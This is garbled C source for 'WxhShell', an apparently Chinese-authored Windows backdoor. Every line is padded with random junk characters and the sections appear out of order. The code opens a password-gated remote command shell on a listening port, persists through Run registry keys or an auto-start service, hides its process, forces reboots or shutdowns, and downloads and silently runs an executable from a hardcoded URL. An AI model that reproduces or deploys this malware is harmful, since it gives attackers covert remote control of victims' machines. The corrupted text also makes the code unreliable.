} PROCESS_BASIC_INFORMATION; U $ bLt
:d5fU:
PROCNTQSIP NtQueryInformationProcess; \;%DDw
L9FijF7
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]mW)T0_
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >[U.P)7;
; {P"~(S%
HANDLE hProcess; PilV5Gg
PROCESS_BASIC_INFORMATION pbi; Q6r!=yOEY
tUp'cG
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -}W`
if(NULL == hInst ) return 0; Js7D>GWP!
{m&8Viq1
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;~ >E^0M
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *Y@)t*
-a
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m R? } gR
GG}(*pOr
if (!NtQueryInformationProcess) return 0; bLHj<AX#>|
xTJ-v/t3<
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ``:AF:
if(!hProcess) return 0; !Hk$ t
A/xWe
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l9 |x7GB
.kGlUb?^Q
CloseHandle(hProcess); A-"}aCmik
^lP_{c
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;I#S m;
if(hProcess==NULL) return 0; g8_C|lVZi
DM-8azq $
HMODULE hMod; E/MNz}+
char procName[255]; iE|qU_2Y
unsigned long cbNeeded; U~mv1V^.
Cyb-}l
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]J
t8]w
=!G3YZ
CloseHandle(hProcess); $hkMJ),T~
Y{ho[%
if(strstr(procName,"services")) return 1; // 以服务启动 cdDMV%V
8"M*,?.]
return 0; // 注册表启动 x=>+.'K
} ;?y*@*2u
&?@gUk74"
// 主模块 [\M=w7
int StartWxhshell(LPSTR lpCmdLine) OZF^w[ `w
{ j;tT SNF
SOCKET wsl; [I;5V= bKW
BOOL val=TRUE; 7-oH >OF^
int port=0; *aXZONym
struct sockaddr_in door; b[^=GF>e
yn0OPjH
if(wscfg.ws_autoins) Install(); wo>srZs
-}lcMZY
port=atoi(lpCmdLine); C*}TY)8
^KU:5Bn
if(port<=0) port=wscfg.ws_port; y@;4F n/
LF'M!C9|
WSADATA data; jb' hqz
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A2o;YyF
GfAt-huL(
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; K_iy^|0)5]
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kO:iA0KUX
door.sin_family = AF_INET; $X%GzrN
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2kTLj2@o,
door.sin_port = htons(port); /3*75
Jy'ge4]3
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K?_4|
closesocket(wsl); //G5lW/*
return 1; -{>Nrx|
} bA-=au?o5
ex8mA6g
if(listen(wsl,2) == INVALID_SOCKET) { DT # 1*&-
closesocket(wsl); A2z%zMlZc
return 1; DJeP]
} Q)}sX6TB
Wxhshell(wsl); E+$vIYq:W
WSACleanup(); NDhHU#Q9
%-+lud
return 0; ]Au78Yom
o<e AZ
} NYD#I{h
m,3?*0BMp=
// 以NT服务方式启动 rMqWXGl`(
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0@E[IDmp
{ KIdlndGs
DWORD status = 0; 8=Di+r
DWORD specificError = 0xfffffff; @`U78)]
%@L(A1"#D
serviceStatus.dwServiceType = SERVICE_WIN32; _;J7#j~}
serviceStatus.dwCurrentState = SERVICE_START_PENDING; !3K6ew>Sf
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x+(h#+F
serviceStatus.dwWin32ExitCode = 0; \>w[#4`m
serviceStatus.dwServiceSpecificExitCode = 0; m~\BkE/[l
serviceStatus.dwCheckPoint = 0; )`Tny]M
serviceStatus.dwWaitHint = 0; <tAn2e!
AFL* a*
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,U2
/J
if (hServiceStatusHandle==0) return; 3A]Y=gfa
BCF-lrZ&
status = GetLastError(); E0}`+x
if (status!=NO_ERROR) =-{+y(<"r
{ V4f~#Tp
serviceStatus.dwCurrentState = SERVICE_STOPPED; 4xU[oaa
serviceStatus.dwCheckPoint = 0; 0R<@*
serviceStatus.dwWaitHint = 0; FJo N"X
serviceStatus.dwWin32ExitCode = status; {AqN@i
serviceStatus.dwServiceSpecificExitCode = specificError; A\lnH5A
SetServiceStatus(hServiceStatusHandle, &serviceStatus); .Xh ^L
return; gKcP\m
} M[D`)7=b
{FraM,w:
serviceStatus.dwCurrentState = SERVICE_RUNNING; wH~Q4)#=o
serviceStatus.dwCheckPoint = 0; 5NbI Vz
serviceStatus.dwWaitHint = 0; =&xamA)
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /K<Xr[z~y
} XCoN!~
%Vrl"4^}t
// 处理NT服务事件,比如:启动、停止 +w:[By"
VOID WINAPI NTServiceHandler(DWORD fdwControl) wx
BQ#OE
{ X !NH?0)
switch(fdwControl) 4vPQuk!
{ [oKc<o7)~"
case SERVICE_CONTROL_STOP: *-T3'beg
serviceStatus.dwWin32ExitCode = 0; A!H6$-W|p
serviceStatus.dwCurrentState = SERVICE_STOPPED;
Pe!uk4}w
serviceStatus.dwCheckPoint = 0; {-J/
<a@
serviceStatus.dwWaitHint = 0; V'
"p
a
{ ]IXKoJUf
SetServiceStatus(hServiceStatusHandle, &serviceStatus); C0zE<fl
} CspY+%3$
return; nsij;C
case SERVICE_CONTROL_PAUSE: :e ?qm7 cB
serviceStatus.dwCurrentState = SERVICE_PAUSED; }E[S%W[
break; -lRXH7|X
case SERVICE_CONTROL_CONTINUE: .Gh-T{\V'
serviceStatus.dwCurrentState = SERVICE_RUNNING; HviL4iO
break; pY!@w0.
case SERVICE_CONTROL_INTERROGATE: nORm7sa9
break;
r75,mX
}; mWsVOf>g
SetServiceStatus(hServiceStatusHandle, &serviceStatus); '{QbjG%<P
} *5hg}[n2
}I}Rq D:`
// 标准应用程序主函数 C]K@SN$
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )}9Ef"v|
{ o?b$}Qrl
.d^8w97
// 获取操作系统版本 X2(TuR*t
OsIsNt=GetOsVer(); 1,T8@8#
GetModuleFileName(NULL,ExeFile,MAX_PATH); {1'XS,2
5Lo{\7%
// 从命令行安装 fMlxtj+5
if(strpbrk(lpCmdLine,"iI")) Install(); 7]@vPr;:
z^gf@r
// 下载执行文件 L:IaJ?+?
if(wscfg.ws_downexe) { $L)9'X
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {vx{Hwyv
WinExec(wscfg.ws_filenam,SW_HIDE); ^j[>.D
} y;keOI!
$fPf/yQmC
if(!OsIsNt) { `][~0\Y3m
// 如果时win9x,隐藏进程并且设置为注册表启动 7C9qkQ
Jqn
HideProc(); 6P;IKOv^
StartWxhshell(lpCmdLine); <@.f#
} Z=|:D,&
else |F-_YR
if(StartFromService()) :[#HP66[O5
// 以服务方式启动 B%6>2S=E
StartServiceCtrlDispatcher(DispatchTable); D06'"
else R{NmWj['Mg
// 普通方式启动 [( BA:x1
StartWxhshell(lpCmdLine); F6dm_Oq&
!sfOde)$
return 0; puG$\D-[
} R;.zS^LL
F2:+i#lE
W @Y$!V<
W#$ pt>h)
=========================================== _M8Q%
=O?<WJoK
w}zl=w{G
;eI,1
[_
"[L[*>[9!
l}j5EWe
" SouPk/-B80
%a&Yt
#include <stdio.h> ,
?WTX
#include <string.h> DPw"UY:
#include <windows.h> 7FW!3~3A_
#include <winsock2.h> X@:pys 8@
#include <winsvc.h> mg[=~&J^
#include <urlmon.h> k {_X%H/
),v[.9!}:
#pragma comment (lib, "Ws2_32.lib") }_u1'
#pragma comment (lib, "urlmon.lib") kIWQ
_2
~>3$Id:
#define MAX_USER 100 // 最大客户端连接数 EpB2?XGA
#define BUF_SOCK 200 // sock buffer /B.\ 6
#define KEY_BUFF 255 // 输入 buffer 8G;
t[9
;|
##~Y.9
#define REBOOT 0 // 重启 {" S"V
#define SHUTDOWN 1 // 关机 FUkO$jnO
6QkdH7Qf=
#define DEF_PORT 5000 // 监听端口 }` E5I&r4
\-a^8{.^E
#define REG_LEN 16 // 注册表键长度 coT|t
T
#define SVC_LEN 80 // NT服务名长度 =hxj B*")
U']DB h
// 从dll定义API 8VQJUwf;
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); YHAhF@&
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3%{A"^S=}
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #n2'N^t
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -'BC*fV r
[g`9C!P-G
// wxhshell配置信息 td%]l1
struct WSCFG { _p <W
int ws_port; // 监听端口 6d& dB
char ws_passstr[REG_LEN]; // 口令 h[b5"Uqj
int ws_autoins; // 安装标记, 1=yes 0=no 9\ZlRYnc=
char ws_regname[REG_LEN]; // 注册表键名 pp@Jndlg
char ws_svcname[REG_LEN]; // 服务名 23?\jw3w
char ws_svcdisp[SVC_LEN]; // 服务显示名 ~XQj0'
char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,~u 5SR
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9g3e( z@
int ws_downexe; // 下载执行标记, 1=yes 0=no Z
6KM%R
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R_ymTB}<t(
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }tA77Cm)45
(7^5jo[D
}; iU"jV*P]
yqR2^wZ%r
// default Wxhshell configuration 1Q"w)Ta
struct WSCFG wscfg={DEF_PORT, gw' uY$
"xuhuanlingzhe", ,<R/jHZP9
1, 'X_8j` ]#
"Wxhshell", {`?C5<r
"Wxhshell", uJ<nW%}
"WxhShell Service", 3Kuu9<0
"Wrsky Windows CmdShell Service", >a/]8A
"Please Input Your Password: ", Gu[G_^>
1, k+#6
"http://www.wrsky.com/wxhshell.exe", Lc 4\i
"Wxhshell.exe" Jm8{@D%
}; [&12`!;j
Lt`d
{s
// 消息定义模块 eGcc' LBr;
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
2..b/
char *msg_ws_prompt="\n\r? for help\n\r#>"; u~SvR~OE
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?^I\e{),c
char *msg_ws_ext="\n\rExit."; 7|Z=#3INw
char *msg_ws_end="\n\rQuit."; IIrh|>d_7
char *msg_ws_boot="\n\rReboot..."; EGpN@
char *msg_ws_poff="\n\rShutdown..."; (ndXz
char *msg_ws_down="\n\rSave to "; yF2|w=!
OXu*wl(z
char *msg_ws_err="\n\rErr!"; JxI\ss?O
char *msg_ws_ok="\n\rOK!"; 7>
~70
CB V(H$d
char ExeFile[MAX_PATH]; MI8f(ZJK5
int nUser = 0; jw63sn
HANDLE handles[MAX_USER]; 'dJ#NT25
int OsIsNt; Cg{V"B:
MR4e.+#E
SERVICE_STATUS serviceStatus; #?=?<"*j
SERVICE_STATUS_HANDLE hServiceStatusHandle; `| nC r
<X>lA
// 函数声明 Dsq_}6l{
int Install(void); 7oUecyoj
int Uninstall(void); hF m_`J&"
int DownloadFile(char *sURL, SOCKET wsh); aqL#g18
int Boot(int flag); `N;}Gf-'
void HideProc(void); o8<0#W@S
int GetOsVer(void); OYnxEdo7
int Wxhshell(SOCKET wsl); bUv}({
void TalkWithClient(void *cs); 6( #fGH&[
int CmdShell(SOCKET sock); h?t#ABsVK
int StartFromService(void); %@C(H%obWd
int StartWxhshell(LPSTR lpCmdLine); #>O!N
=*paa
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); LWH(bs9U
VOID WINAPI NTServiceHandler( DWORD fdwControl ); eXs^YPi
+#* F"k(
// 数据结构和表定义 *?? !~RE
SERVICE_TABLE_ENTRY DispatchTable[] = =7^rKrD
{ ?=u/&3Cw
{wscfg.ws_svcname, NTServiceMain}, ]|H`?L
{NULL, NULL} s&Bk@a8
}; ]81t~t9LQ
gKPqWh
// 自我安装 )Cas0~ RM
int Install(void) 0iKSUwps
{ ~wejy3|@0
char svExeFile[MAX_PATH]; MWGs:tpL4
HKEY key; !O*'mX
strcpy(svExeFile,ExeFile); f`;y
"ba
d#tqa`@~
// 如果是win9x系统,修改注册表设为自启动 7lLh4__;`6
if(!OsIsNt) { dmR>u
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |2L|Zp&
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9#;GG3
RegCloseKey(key); biLNR"/E
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @p$Nw.{'
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KF .O>c87&
RegCloseKey(key); {/)q=
return 0; 2uCw[iZM
} JJQS7,vG
} B5A/Iv)2
} S3?Bl'
else { 04j]W]8#
7:M`k #oDP
// 如果是NT以上系统,安装为系统服务 i?3~Gog
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }O+a
if (schSCManager!=0) JI3x^[(Z
{ mi';96
SC_HANDLE schService = CreateService !=3Ce3-
( \PzJ66DL!
schSCManager, 4\_~B{kzZ
wscfg.ws_svcname, & FpoMW
wscfg.ws_svcdisp, u\y$<
SERVICE_ALL_ACCESS, =#Z+WD-E
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !,cLc}a
SERVICE_AUTO_START, C>:,\=y%
SERVICE_ERROR_NORMAL, mXPA1#qo
svExeFile, U [R[VY7
NULL, sd5)We
NULL, "!B\c9q
NULL, W%wc@.P
NULL, *UZd!a)
NULL QPyHos`
); .WVIdVO7
if (schService!=0) W9G1wU
{ Qx_]oz]NY
CloseServiceHandle(schService); #z5$_z?_
CloseServiceHandle(schSCManager); Bfu/w
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0t?g!
strcat(svExeFile,wscfg.ws_svcname); tc|PN+v;
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8xb({e4
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @b9qBJfQ
RegCloseKey(key); iOB*K)U1
return 0; 2w;Cw~<=d
} }F';"ybrU)
} XE$;Z'Qhjm
CloseServiceHandle(schSCManager); tPb<*{eG
} ) E*-
} _&RGhA
8wLGmv^
return 1; v[\GhVb
} =bOMtQ]
U.Fs9F4M #
// 自我卸载 E^B3MyS^^
int Uninstall(void) N *,[(q
{ p:ubj'(U05
HKEY key; pD]2.O
fC+tu>=
if(!OsIsNt) { XzB3Xs?W2
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -HvJ&O.V$
RegDeleteValue(key,wscfg.ws_regname); DFQ`<r&!
RegCloseKey(key); ~g}blv0q+B
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GA"vJFQ
RegDeleteValue(key,wscfg.ws_regname); (_R!:H(]m
RegCloseKey(key); EY@KWs3"H
return 0; E %?>
%h
} n]8*yoge
}
&MBm1T|Y
} 5&_R+g
else { t!59upbN}3
DAy|'%rF1-
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); SC--jhDZ
if (schSCManager!=0) t$PJ*F67M
{ b?/Su<q
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {KSy I#
if (schService!=0) OKA6S*
{ jGYl*EBx
if(DeleteService(schService)!=0) { AD>/#Ul
CloseServiceHandle(schService); H'I5LYsXO~
CloseServiceHandle(schSCManager); 6n/KL
return 0; Q6n8 ,2*
} KVHK~Y-G
CloseServiceHandle(schService); }Qh%Z)
} 2<*Yq8
CloseServiceHandle(schSCManager); Ls*Vz,3!5
} _zLEHEZ-
}
9y*(SDF
ltHuN;C\
return 1; {"0n^!
} mo]>Um'F
V/ZWyYxjLi
// 从指定url下载文件 qz 29f
int DownloadFile(char *sURL, SOCKET wsh) USXPa[
{ S;BMM8U
HRESULT hr; nZ`=Up p)
char seps[]= "/"; _X)]/A%@
char *token; 7>gW2m
char *file; 0qBXL;sE
char myURL[MAX_PATH]; mN#&NA
char myFILE[MAX_PATH]; :0Fwaw9PH"
mHc2v==X\-
strcpy(myURL,sURL); ^1ks`1
token=strtok(myURL,seps); mW)"~sA
while(token!=NULL) =OR&,xt
{ S1!_ IK$m
file=token; T{T> S%17~
token=strtok(NULL,seps); 94XRf"^
} 'eoI~*}3WQ
RHq r-%
GetCurrentDirectory(MAX_PATH,myFILE); *1}vn%wvn
strcat(myFILE, "\\"); :wJ!rn,4
strcat(myFILE, file); w2tkJcQ3
send(wsh,myFILE,strlen(myFILE),0); !v 3wl0
send(wsh,"...",3,0); yAc}4*;T/
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); BCHI@a
if(hr==S_OK) %;G!gJeE
return 0; I3?:KVa
else L^nS%lm
return 1; $Vm J[EF1
}Z\+Qc<<
} J15$P8J
O11.wLNH
// 系统电源模块 5{6ebq55"
int Boot(int flag) @aGS~^Uh
{ s[@@INU
HANDLE hToken; j8p'B-yS
TOKEN_PRIVILEGES tkp; [ \Aor[(
gClDVO
if(OsIsNt) { %n#^#:
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); FdJC@Y-#uA
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); O~&l.>??
tkp.PrivilegeCount = 1; :hxZ2O?5_
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Wkv**X}
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7f
td2lv
if(flag==REBOOT) { `o*g2fW!
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -nT+!3A8
return 0; ?0Ca-T Rz
} _mL 9G5~r
else { i&FC-{|Z
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Vd^`Hv&i
return 0; z:R2Wksg
} tg5jS]O
} 49Ue2=PP#
else { RN:#+S(8
if(flag==REBOOT) { ^NLKX5Q
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c\4n 7m,y
return 0; A?|cJ"N
} pN]Hp"v
else { @#H{nj
Z
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rb\Ohv\
return 0; IL:"]`f*
} W\<#`0tUt
} :g9z^ $g
p
go\(K0
return 1; qryt1~Dq
} %#QFu/l
sqZHk+<%
// win9x进程隐藏模块 'HcDl@E
void HideProc(void) AYZds >#Q
{ dju&Ku
>6DY3\
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); WNYLQ=;
if ( hKernel != NULL ) MM8)yCI
{ 4COf H7Al9
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VD3[ko
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N~ozyIP,
FreeLibrary(hKernel); #*]=
%-A
} (P>vI'
6Rf5
return; M{4_BQ4$
} 6kuSkd$.
0?h .X=G
// 获取操作系统版本 1a!h&!$9
int GetOsVer(void) v1lj /A
{ `cv:p|s
OSVERSIONINFO winfo; 5Q}@Y3 i=
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DJW1kR
GetVersionEx(&winfo); tj&A@\/
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dbXG?K][
return 1; (os7Q?
else f\^QV
return 0; X>6a@$Mx P
} 7A|jnm
(~GFd7
// 客户端句柄模块 [Bh]\I'
int Wxhshell(SOCKET wsl) h5gXYmk
{
k
WtUj
SOCKET wsh; E)E!
struct sockaddr_in client; F1=+<]!
DWORD myID; `+o.w#cl
W Q&<QVK
while(nUser<MAX_USER) 7a<qP=J
{ *^uj(8U
int nSize=sizeof(client); %ze1ZWO{
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h,+=h;!
if(wsh==INVALID_SOCKET) return 1; "p{'984r<
l}2WW1b(
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hrD6r=JT<~
if(handles[nUser]==0) f tPw6
closesocket(wsh); M::iU_
else "/fs%F
nUser++; hI8C XG
} d"UW38K{
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `RcNqPY#S
eNFUjDm
return 0; }A7qIys$4
} 03o3[g?
N0[I2'^.
// 关闭 socket YMTA`T(+
void CloseIt(SOCKET wsh) '>Y
2lqa
{ J#DcT@
closesocket(wsh); d6EY'*0
nUser--; I)6Sbt JV^
ExitThread(0); <\g&%c,
} ?ljod6
*h:EE6|
// 客户端请求句柄 F^z8+W
void TalkWithClient(void *cs) f](uc(8Z
{ Q;/F0JDH
^u!Tyb8Dk
SOCKET wsh=(SOCKET)cs; [B3aRi0AQ
char pwd[SVC_LEN]; M%s$F@
char cmd[KEY_BUFF]; FraW6T}_
char chr[1]; f<:U"E.
int i,j; 5Y=\~,%\oH
<]^;/2.B
while (nUser < MAX_USER) { KR(} A"
t} i97 ;
if(wscfg.ws_passstr) { `L#?eQ{
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l\;mP.!
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aiZo{j<6
//ZeroMemory(pwd,KEY_BUFF); Df~p'N-$
i=0; .l=*R7~EU
while(i<SVC_LEN) { Au} ;z6k
4t
Nv q
// 设置超时 9m!! b{
fd_set FdRead; yCCw<